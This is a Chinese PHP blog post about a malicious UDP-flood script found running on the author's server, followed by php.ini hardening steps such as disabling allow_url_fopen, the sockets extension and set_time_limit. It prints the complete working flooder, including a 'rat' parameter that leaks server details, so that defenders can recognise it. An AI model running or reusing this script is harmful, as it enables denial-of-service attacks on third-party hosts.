php的ddos攻击解决方法


Posted in PHP onJanuary 08, 2015

本文实例讲述了php的ddos攻击解决方法。分享给大家供大家参考。具体分析如下:

今天自己的一台机器突然向外部发送大量数据包,可每秒到1G以上,虽然我用策略把UDP禁止包是发不出去但是很占cup啊,所以想到最后还是想办法解决了.

先看源码,代码如下:

<?php 

set_time_limit(999999); 

$host = $_GET['host']; 

$port = $_GET['port']; 

$exec_time = $_GET['time']; 

$Sendlen = 65535; 

$packets = 0; 

ignore_user_abort(True); 

 

if (StrLen($host)==0 or StrLen($port)==0 or StrLen($exec_time)==0){ 

        if (StrLen($_GET['rat'])<>0){ 

                echo $_GET['rat'].$_SERVER["HTTP_HOST"]."|".GetHostByName($_SERVER['SERVER_NAME'])."|".php_uname()."|".$_SERVER['SERVER_SOFTWARE'].$_GET['rat']; 

                exit; 

            } 

        echo "Parameters can not be empty!"; 

        exit; 

    } 

 

for($i=0;$i<$Sendlen;$i++){ 

        $out .= "A"; 

    } 

 

$max_time = time()+$exec_time; 

 

while(1){ 

    $packets++; 

    if(time() > $max_time){ 

        break; 

    } 

    $fp = fsockopen("udp://$host", $port, $errno, $errstr, 5); 

        if($fp){ 

            fwrite($fp, $out); 

            fclose($fp); 

    } 

} 

 

echo "Send Host:$host:$port<br><br>"; 

echo "Send Flow:$packets * ($Sendlen/1024=" . round($Sendlen/1024, 2) . ")kb / 1024 = " . round($packets*$Sendlen/1024/1024, 2) . " mb<br><br>"; 

echo "Send Rate:" . round($packets/$exec_time, 2) . " packs/s;" . round($packets/$exec_time*$Sendlen/1024/1024, 2) . " mb/s"; 

?>

关键代码在于如下:
$fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5);

方法很简单,向目标主机发送UDP包,在加上定义无限死循环,就会形成较大的压力.

这个压力是对于执行这个脚本的服务器来说的,因为它首先对自身的网宽、CPU等资源造成大量占用,如果想用这个脚本对目标站点形成压力,需要在多个服务器上执行该脚本,DDOS嘛,既然是用fsockopen请求外部,那就不让他请求.

php.ini里设置,代码如下:

allow_url_fopen = Off

如果这样他还是能发包,代码如下:

extension=php_sockets.dll

改成

;extension=php_sockets.dll

重启APACHE、IIS、NGINX,这样就可以防止PHP DDOS发包了.

另外有网友说,让脚本不允许设置为不超时很简单:

1. 把set_time_limit函数禁用

2. 启用PHP的安全模式(safe_mode=on).

禁用socket函数可以把把socket模块直接全部禁用也可以禁用fsockopen函数,建议,由于socket常用于发送邮件找回密码,因此建议开启直接开启安全模式,但是这样的话,脚本每30秒超时一次,估计没有哪个“黑客”寂寞到每30秒去点一下开始DDOS.

经验:这种问题一般是网站安全引起的,我们要注意网站的安全及服务器的安全,这样就不容易被入侵了,如果会用macofee的朋友,对网站进行限制一下就会更好一些.

希望本文所述对大家的php程序设计有所帮助。

PHP 相关文章推荐
关于PHP中操作MySQL数据库的一些要注意的问题
Oct 09 PHP
php 字符串函数收集
Mar 29 PHP
php程序效率优化的一些策略小结
Jul 17 PHP
PHP imagecreatefrombmp 从BMP文件或URL新建一图像
Jul 16 PHP
浅析Dos下运行php.exe,出现没有找到php_mbstring.dll 错误的解决方法
Jun 29 PHP
php生成数组的使用示例 php全组合算法
Jan 16 PHP
PHP生成迅雷、快车、旋风等软件的下载链接代码实例
May 12 PHP
PHP中数据类型转换的三种方式
Apr 02 PHP
centos+php+coreseek+sphinx+mysql之一coreseek安装篇
Oct 25 PHP
PHP实现 APP端微信支付功能
Jun 22 PHP
PHP程序员学习使用Swoole的理由
Jun 24 PHP
phpinfo无法显示的原因及解决办法
Feb 15 PHP
php的sso单点登录实现方法
Jan 08 #PHP
PHP制作万年历
Jan 07 #PHP
CI框架中通过hook的方式实现简单的权限控制
Jan 07 #PHP
CI框架中site_url()和base_url()的区别
Jan 07 #PHP
给ECShop添加最新评论
Jan 07 #PHP
php程序总是提示验证码输入有误解决方案
Jan 07 #PHP
WampServer下安装多个版本的PHP、mysql、apache图文教程
Jan 07 #PHP
You might like
php allow_url_include的应用和解释
2010/04/22 PHP
Yii实现多数据库主从读写分离的方法
2014/12/29 PHP
PHP中加速、缓存扩展的区别和作用详解(eAccelerator、memcached、xcache、APC )
2016/07/09 PHP
php使用 readfile() 函数设置文件大小大小的方法
2017/08/11 PHP
Yii2.0框架实现带分页的多条件搜索功能示例
2019/02/20 PHP
javascript 函数使用说明
2010/04/07 Javascript
jQuery解决下拉框select设宽度时IE 6/7/8下option超出显示不全
2013/05/27 Javascript
js判断浏览器类型的方法
2013/08/07 Javascript
JS 实现点击a标签的时候让其背景更换
2013/10/15 Javascript
JavaScript中函数表达式和函数声明及函数声明与函数表达式的不同
2015/11/15 Javascript
Markdown+Bootstrap图片自适应属性详解
2016/05/21 Javascript
jQuery+json实现动态创建复杂表格table的方法
2016/10/25 Javascript
AngularJS 使用ng-repeat报错 [ngRepeat:dupes]
2017/01/19 Javascript
Vue.js 60分钟快速入门教程
2017/03/28 Javascript
js 获取元素的具体样式信息getcss(实例讲解)
2017/07/05 Javascript
原生JS实现小小的音乐播放器
2017/10/16 Javascript
tween.js缓动补间动画算法示例
2018/02/13 Javascript
Vuex中mutations与actions的区别详解
2018/03/01 Javascript
微信小程序实现订单倒计时
2020/11/01 Javascript
使用Vue-cli3.0创建的项目 如何发布npm包
2019/10/10 Javascript
Python三级目录展示的实现方法
2016/09/28 Python
用 Python 连接 MySQL 的几种方式详解
2018/04/04 Python
python高级特性和高阶函数及使用详解
2018/10/17 Python
对Django 中request.get和request.post的区别详解
2019/08/12 Python
pytorch之inception_v3的实现案例
2020/01/06 Python
Python如何读取文件中图片格式
2020/01/13 Python
基于Python爬取京东双十一商品价格曲线
2020/10/23 Python
美国精品家居用品网站:US-Mattress
2016/08/24 全球购物
个人租房协议书
2014/04/09 职场文书
大学学雷锋活动总结
2014/06/26 职场文书
入党政审材料范文
2014/12/24 职场文书
考试作弊检讨
2015/01/27 职场文书
推销搭讪开场白
2015/05/28 职场文书
python执行js代码的方法
2021/05/13 Python
Python快速实现一键抠图功能的全过程
2021/06/29 Python
纯CSS如何禁止用户复制网页的内容
2021/11/01 HTML / CSS